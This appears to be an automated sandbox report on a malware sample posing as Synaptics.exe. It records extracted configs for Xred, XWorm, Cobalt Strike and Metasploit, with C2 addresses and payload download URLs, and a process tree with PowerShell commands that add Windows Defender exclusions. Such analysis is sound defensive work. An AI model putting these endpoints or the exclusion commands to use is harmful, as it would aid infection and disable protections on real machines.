cobaltstrike | 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1

user interaction
yes
max time kernel
5s
max time network
71s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/07/2026, 04:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
Synaptics.exe
Size 764KB
Sample260729-e8nb1sgn9y
SHA256 4e5cc8cb98584335400d00f0a0803c3e0202761f3fbe50bcab3858a80df255e1
MD5 85e3d4ac5a6ef32fb93764c090ef32b7
SHA1 adedb0aab26d15cf96f66fda8b4cfbbdcc15ef52
SHA512 a7a037bde41bcd425be18a712e27a793185f7fde638e139bbd9d253c371cd9622385eda39cf91ab715ead2591cff5b8c9f5b31d903f138d8af7bab6a9001ccab
SSDEEP 12288:6MSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9Ufbj:6nsJ39LyjbJkQFMhmC+6GD9mH
TLSH
T1A3F47D32F2D18437D1721A3D9C5BA3A5982ABE512E38794E3BE83E4C5F3D68138552D3
MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family

xred

xred.mooo.com

Attributes

email
[email protected]
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

http://xred.site50.net/syn/SUpdate.ini

https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

http://xred.site50.net/syn/Synaptics.rar

https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

http://xred.site50.net/syn/SSLLibrary.dll

Extracted

Family

metasploit

Version

windows/shell_reverse_tcp

127.0.0.1:443

Extracted

Family

hijackloader

Attributes

directory
%APPDATA%\bnv_Valid
inject_dll
%windir%\SysWOW64\pla.dll

xor.hex

Extracted

Family

xworm

Version

XWorm V5.6

147.185.221.25:63795

Attributes

Install_directory
%AppData%
install_file
XClient.exe

Extracted

Family

xworm

HITROL-60505.portmap.host:60505

Attributes

Install_directory
%AppData%
install_file
svchost.exe

Extracted

Family

cobaltstrike

Botnet

666666

http://152.32.202.240:8443/IE9CompatViewList.xml

Attributes

access_type
512
beacon_type
2048
host
152.32.202.240,/IE9CompatViewList.xml
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
polling_time
60000
port_number
8443
sc_process32
%windir%\syswow64\rundll32.exe
sc_process64
%windir%\sysnative\rundll32.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDG3wcenvI5RJg6Dq5FXVOh7l2dyYUQ0K6mU0oFr22UVZevqDhOITKLZor0XKKVo9CnHIppBvAV5/KsQ0BxAZ1rOp66w4fFN5KXBSkFeKd+8uM/G8MvvUFq+sCCXI6EgErewJXWUf6wFrnHNAwHNkkDjCoJMSBIgtDkqKyaGS/CnQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
4096
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/submit.php
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MANM; MANM)
watermark
666666

Signatures

Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike
Family: DeerStealer
DeerStealer is a sophisticated information stealer written in C++.
stealer deerstealer
Family: HijackLoader, IDAT loader, Ghostulse,
HijackLoader is a multi-stage loader, first seen in 2023.
loader hijackloader
Family: MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit
Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
Family: Xred
Xred is backdoor written in Delphi.
backdoor xred
Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral5/files/0x0007000000024419-434.dat	family_xworm
behavioral5/memory/4944-441-0x0000000000EE0000-0x0000000000EFA000-memory.dmp	family_xworm
behavioral5/files/0x00070000000244d8-1345.dat	family_xworm
behavioral5/memory/1792-1358-0x0000000000200000-0x000000000021C000-memory.dmp	family_xworm

Detects DeerStealer 2 IoCs

stealer

resource	yara_rule
behavioral5/memory/5312-1033-0x00007FF799F10000-0x00007FF79A214000-memory.dmp	family_deerstealer
behavioral5/memory/5312-1233-0x00007FF799F10000-0x00007FF79A214000-memory.dmp	family_deerstealer

Detects HijackLoader (aka IDAT Loader) 1 IoCs

resource	yara_rule
behavioral5/files/0x0007000000024418-408.dat	family_hijackloader

RedLine payload 2 IoCs

resource	yara_rule
behavioral5/memory/6868-2301-0x0000000004E50000-0x0000000004EBE000-memory.dmp	family_redline
behavioral5/memory/6868-2300-0x0000000004D70000-0x0000000004DE0000-memory.dmp	family_redline

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4628	powershell.exe
5596	powershell.exe
5248	powershell.exe
5972	powershell.exe
5232	powershell.exe
1380	powershell.exe
5476	powershell.exe
3300	powershell.exe
5520	powershell.exe
5732	powershell.EXE
856	powershell.EXE
5664	powershell.exe

Downloads MZ/PE file 8 IoCs

flow	pid	Process
14	1804	._cache_Synaptics.exe
14	1804	._cache_Synaptics.exe
16	464	._cache_Synaptics.exe
16	464	._cache_Synaptics.exe
16	464	._cache_Synaptics.exe
16	464	._cache_Synaptics.exe
16	464	._cache_Synaptics.exe
6	464	._cache_Synaptics.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pkexU0YtxaR3.exe	pkexU0YtxaR3.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\PKEXU0YTXAR3.EXE	pkexU0YtxaR3.exe

Signed with revoked ConnectWise certificate 6 IoCs

Binary is signed using a ConnectWise certificate revoked for key compromise.

revoked_codesign

resource	yara_rule
behavioral5/files/0x00080000000243fa-306.dat	revoked_cert_connectwise
behavioral5/files/0x0007000000024456-637.dat	revoked_cert_connectwise
behavioral5/files/0x0007000000024450-737.dat	revoked_cert_connectwise
behavioral5/files/0x0007000000024455-757.dat	revoked_cert_connectwise
behavioral5/files/0x0007000000024465-731.dat	revoked_cert_connectwise
behavioral5/files/0x000700000002452f-2225.dat	revoked_cert_connectwise

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral5/memory/6868-2301-0x0000000004E50000-0x0000000004EBE000-memory.dmp	net_reactor
behavioral5/memory/6868-2300-0x0000000004D70000-0x0000000004DE0000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	._cache_Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	._cache_Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	Synaptics.exe
Key value queried	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\International\Geo\Nation	Synaptics.exe

Executes dropped EXE 6 IoCs

pid	Process
1804	._cache_Synaptics.exe
2372	Synaptics.exe
4116	Synaptics.exe
464	._cache_Synaptics.exe
3608	._cache_Synaptics.exe
2620	pkexU0YtxaR3.exe

Loads dropped DLL 2 IoCs

pid	Process
2372	Synaptics.exe
2372	Synaptics.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	Synaptics.exe

Contacts third-party web service commonly abused for C2 1 TTPs 8 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
109	raw.githubusercontent.com
110	raw.githubusercontent.com
13	raw.githubusercontent.com
14	raw.githubusercontent.com
16	raw.githubusercontent.com
17	raw.githubusercontent.com
26	pastebin.com
28	pastebin.com

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

remove IFEO.

defense_evasion

Clear Persistence

T1070.009

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\PKEXU0YTXAR3.EXE	pkexU0YtxaR3.exe

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
57	ip-api.com

Power Settings 1 TTPs 10 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
5848	powercfg.exe
5940	powercfg.exe
5908	powercfg.exe
876	powercfg.exe
6180	powercfg.exe
6340	powercfg.exe
5528	cmd.exe
5800	powercfg.exe
6036	powercfg.exe
6500	cmd.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Files\ZJQPPAJN.exe	._cache_Synaptics.exe
File created	C:\Windows\SysWOW64\._cache_Synaptics.exe	Synaptics.exe
File opened for modification	C:\Windows\SysWOW64\._cache_Synaptics.exe	Synaptics.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral5/files/0x0007000000024535-2311.dat	upx
behavioral5/memory/5440-2316-0x0000000000400000-0x0000000000487000-memory.dmp	upx
behavioral5/memory/6832-2352-0x00007FF6DCDB0000-0x00007FF6DD5A4000-memory.dmp	upx

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6100	sc.exe
5920	sc.exe
6048	sc.exe
6932	sc.exe
7056	sc.exe
1960	sc.exe
5900	sc.exe
4632	sc.exe
6560	sc.exe
5608	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5508	cmd.exe
6732	cmd.exe
5540	cmd.exe
5284	cmd.exe
6480	cmd.exe
4632	cmd.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5824	5356	WerFault.exe	182

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pkexU0YtxaR3.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_Synaptics.exe

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral5/files/0x0007000000024411-462.dat	nsis_installer_1
behavioral5/files/0x0007000000024411-462.dat	nsis_installer_2
behavioral5/files/0x00070000000244de-2016.dat	nsis_installer_1
behavioral5/files/0x00070000000244de-2016.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
6080	WMIC.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
6412	ipconfig.exe

Modifies Control Panel 3 IoCs

defense_evasion

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop	pkexU0YtxaR3.exe
Key created	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\Control Panel\Desktop\LanguageConfiguration	pkexU0YtxaR3.exe
Key deleted	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION	pkexU0YtxaR3.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Synaptics.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3708	EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1804	._cache_Synaptics.exe
Token: SeDebugPrivilege	464	._cache_Synaptics.exe
Token: SeDebugPrivilege	3608	._cache_Synaptics.exe
Token: SeDebugPrivilege	2620	pkexU0YtxaR3.exe
Token: SeBackupPrivilege	2620	pkexU0YtxaR3.exe
Token: SeRestorePrivilege	2620	pkexU0YtxaR3.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE
3708	EXCEL.EXE

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3556 wrote to memory of 1804	3556	Synaptics.exe	83
PID 3556 wrote to memory of 2372	3556	Synaptics.exe	85
PID 2372 wrote to memory of 464	2372	Synaptics.exe	88
PID 4116 wrote to memory of 3608	4116	Synaptics.exe	92
PID 464 wrote to memory of 2620	464	._cache_Synaptics.exe	95

C:\Users\Admin\AppData\Local\Temp\Synaptics.exe
"C:\Users\Admin\AppData\Local\Temp\Synaptics.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3556
- C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
  "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe"
  2⤵
  - Downloads MZ/PE file
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:1804
- - C:\Users\Admin\AppData\Local\Temp\Files\black.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\black.exe"
    3⤵
    PID:5064
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\black.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\black.exe"
      4⤵
      PID:3572
- - C:\Users\Admin\AppData\Local\Temp\Files\cleanup_tool.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\cleanup_tool.exe"
    3⤵
    PID:4832
  - - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cleanup.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cleanup.exe
      4⤵
      PID:5496
- - C:\Users\Admin\AppData\Local\Temp\Files\cabal.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\cabal.exe"
    3⤵
    PID:2688
- - C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\hack1226.exe"
    3⤵
    PID:1952
- - C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
    3⤵
    PID:4944
- C:\ProgramData\Synaptics\Synaptics.exe
  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2372
- - C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
    3⤵
    - Downloads MZ/PE file
    - Checks computer location settings
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:464
  - - C:\Users\Admin\AppData\Local\Temp\Files\pkexU0YtxaR3.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\pkexU0YtxaR3.exe"
      4⤵
      Event Triggered Execution: Image File Execution Options Injection
      Executes dropped EXE
      Indicator Removal: Clear Persistence
      System Location Discovery: System Language Discovery
      Modifies Control Panel
      Suspicious use of AdjustPrivilegeToken
      PID:2620
  - - C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"
      4⤵
      PID:4928
  - - C:\Users\Admin\AppData\Local\Temp\Files\whatever.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\whatever.exe"
      4⤵
      PID:5032
  - - C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\ChromeUpdate.exe"
      4⤵
      PID:5060
  - - C:\Users\Admin\AppData\Local\Temp\Files\script.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\script.exe"
      4⤵
      PID:4352
  - - C:\Users\Admin\AppData\Local\Temp\Files\Vikings.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Vikings.exe"
      4⤵
      PID:1432
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Yota'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3300
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Yota
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4628
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5248
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Windows
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5972
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5232
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath C:\Users
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1380
    - - C:\Yota\multiyota.exe
        
        "C:\Yota\multiyota.exe"
        5⤵
        
        PID:5356
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5356 -s 708
        6⤵
        Program crash
        
        PID:5824
  - - C:\Users\Admin\AppData\Local\Temp\Files\37cqsj.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\37cqsj.exe"
      4⤵
      PID:4500
    - - C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe
        
        "C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /setupsucc
        5⤵
        
        PID:436
    - - C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe
        
        "C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /autorun /setuprun
        5⤵
        
        PID:1912
  - - C:\Users\Admin\AppData\Local\Temp\Files\winsetaccess64.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\winsetaccess64.exe"
      4⤵
      PID:2348
  - - C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\support.client.exe"
      4⤵
      PID:6972
  - - C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN32.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\NAMUVPN32.exe"
      4⤵
      PID:5440
    - - C:\Users\Admin\AppData\Local\Temp\365VPN32\365VPN32.exe
        
        "C:\Users\Admin\AppData\Local\Temp\365VPN32\365VPN32.exe"
        5⤵
        
        PID:6432
  - - C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\ScreenConnect.ClientSetup.exe"
      4⤵
      PID:5928

C:\ProgramData\Synaptics\Synaptics.exe
C:\ProgramData\Synaptics\Synaptics.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4116
- C:\Windows\SysWOW64\._cache_Synaptics.exe
  "C:\Windows\system32\._cache_Synaptics.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:3608
- - C:\Windows\SysWOW64\Files\ZJQPPAJN.exe
    "C:\Windows\System32\Files\ZJQPPAJN.exe"
    3⤵
    PID:4772
  - - C:\Users\Admin\AppData\Local\Temp\PReflector64.exe
      "C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"
      4⤵
      PID:2864
    - - C:\ProgramData\bnv_Valid\PReflector64.exe
        
        C:\ProgramData\bnv_Valid\PReflector64.exe
        5⤵
        
        PID:1256
      - C:\Users\Admin\AppData\Local\SignHandler.exe
        
        C:\Users\Admin\AppData\Local\SignHandler.exe
        6⤵
        
        PID:5312
      - C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe
        
        "C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" "C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" /u
        6⤵
        
        PID:3316
- - C:\Windows\SysWOW64\Files\support.client.exe
    "C:\Windows\System32\Files\support.client.exe"
    3⤵
    PID:1264
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
      4⤵
      PID:1248
    - - C:\Users\Admin\AppData\Local\Apps\2.0\YTG2Y2RT.O4W\AVBT174R.ZCL\scre..tion_25b0fbb6ef7eb094_0019.0002_d9b63fe6e501e53e\ScreenConnect.WindowsClient.exe
        
        "C:\Users\Admin\AppData\Local\Apps\2.0\YTG2Y2RT.O4W\AVBT174R.ZCL\scre..tion_25b0fbb6ef7eb094_0019.0002_d9b63fe6e501e53e\ScreenConnect.WindowsClient.exe"
        5⤵
        
        PID:6072
- - C:\Windows\SysWOW64\Files\XClient.exe
    "C:\Windows\System32\Files\XClient.exe"
    3⤵
    PID:5280
- - C:\Windows\SysWOW64\Files\alphaTweaks.exe
    "C:\Windows\System32\Files\alphaTweaks.exe"
    3⤵
    PID:4892
- - C:\Windows\SysWOW64\Files\mini_04.exe
    "C:\Windows\System32\Files\mini_04.exe"
    3⤵
    PID:4400
- - C:\Windows\SysWOW64\Files\svchost.exe
    "C:\Windows\System32\Files\svchost.exe"
    3⤵
    PID:1792
- - C:\Windows\SysWOW64\Files\setup_smart.exe
    "C:\Windows\System32\Files\setup_smart.exe"
    3⤵
    PID:2964
- - C:\Windows\SysWOW64\Files\RambledMime.exe
    "C:\Windows\System32\Files\RambledMime.exe"
    3⤵
    PID:552
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
